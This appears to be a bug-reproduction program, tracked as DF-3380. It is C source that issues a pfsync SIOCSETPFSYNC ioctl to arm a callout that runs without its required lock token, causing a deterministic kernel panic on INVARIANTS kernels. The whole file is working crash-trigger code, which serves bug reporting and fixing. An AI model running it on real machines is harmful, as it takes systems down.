DF-3380 / trigger_df3380.c
/* * DF-3380 trigger: SIOCSETPFSYNC with syncdev= -> arms sc->sc_bulkfail_tmo * (5*hz) with handler pfsync_bulkfail, which executes in the softclock * callout thread WITHOUT pf_token and hits * ASSERT_LWKT_TOKEN_HELD(&pf_token) (sys/net/pf/if_pfsync.c:1621) * -> deterministic KKASSERT panic on INVARIANTS kernels, ~5s after the * ioctl returns. * * Build: cc -o trigger_df3380 trigger_df3380.c * Run: ./trigger_df3380 [syncdev] (default tap0) */ #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <netinet/in.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <err.h> /* mirror of struct pfsyncreq from sys/net/pf/if_pfsync.h */ struct pfsyncreq { char pfsyncr_syncdev[IFNAMSIZ]; struct in_addr pfsyncr_syncpeer; int pfsyncr_maxupdates; int pfsyncr_authlevel; }; #define SIOCSETPFSYNC _IOW('i', 247, struct ifreq) #define SIOCGETPFSYNC _IOWR('i', 248, struct ifreq) int main(int argc, char **argv) { struct ifreq ifr; struct pfsyncreq preq; const char *dev = argc > 1 ? argv[1] : "tap0"; int s, rc; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); memset(&ifr, 0, sizeof(ifr)); memset(&preq, 0, sizeof(preq)); strlcpy(ifr.ifr_name, "pfsync0", sizeof(ifr.ifr_name)); strlcpy(preq.pfsyncr_syncdev, dev, sizeof(preq.pfsyncr_syncdev)); preq.pfsyncr_maxupdates = 128; ifr.ifr_data = (caddr_t)&preq; printf("[*] issuing SIOCSETPFSYNC(syncdev=%s) on pfsync0 ...\n", dev); rc = ioctl(s, SIOCSETPFSYNC, &ifr); if (rc < 0) err(1, "SIOCSETPFSYNC"); printf("[+] SIOCSETPFSYNC ok: pfsync_bulkfail callout armed, " "panic expected in ~5s on INVARIANTS kernels\n"); memset(&ifr, 0, sizeof(ifr)); memset(&preq, 0, sizeof(preq)); strlcpy(ifr.ifr_name, "pfsync0", sizeof(ifr.ifr_name)); ifr.ifr_data = (caddr_t)&preq; if (ioctl(s, SIOCGETPFSYNC, &ifr) == 0) printf("[+] SIOCGETPFSYNC: syncdev=%s maxupd=%d\n", preq.pfsyncr_syncdev, preq.pfsyncr_maxupdates); close(s); return (0); } |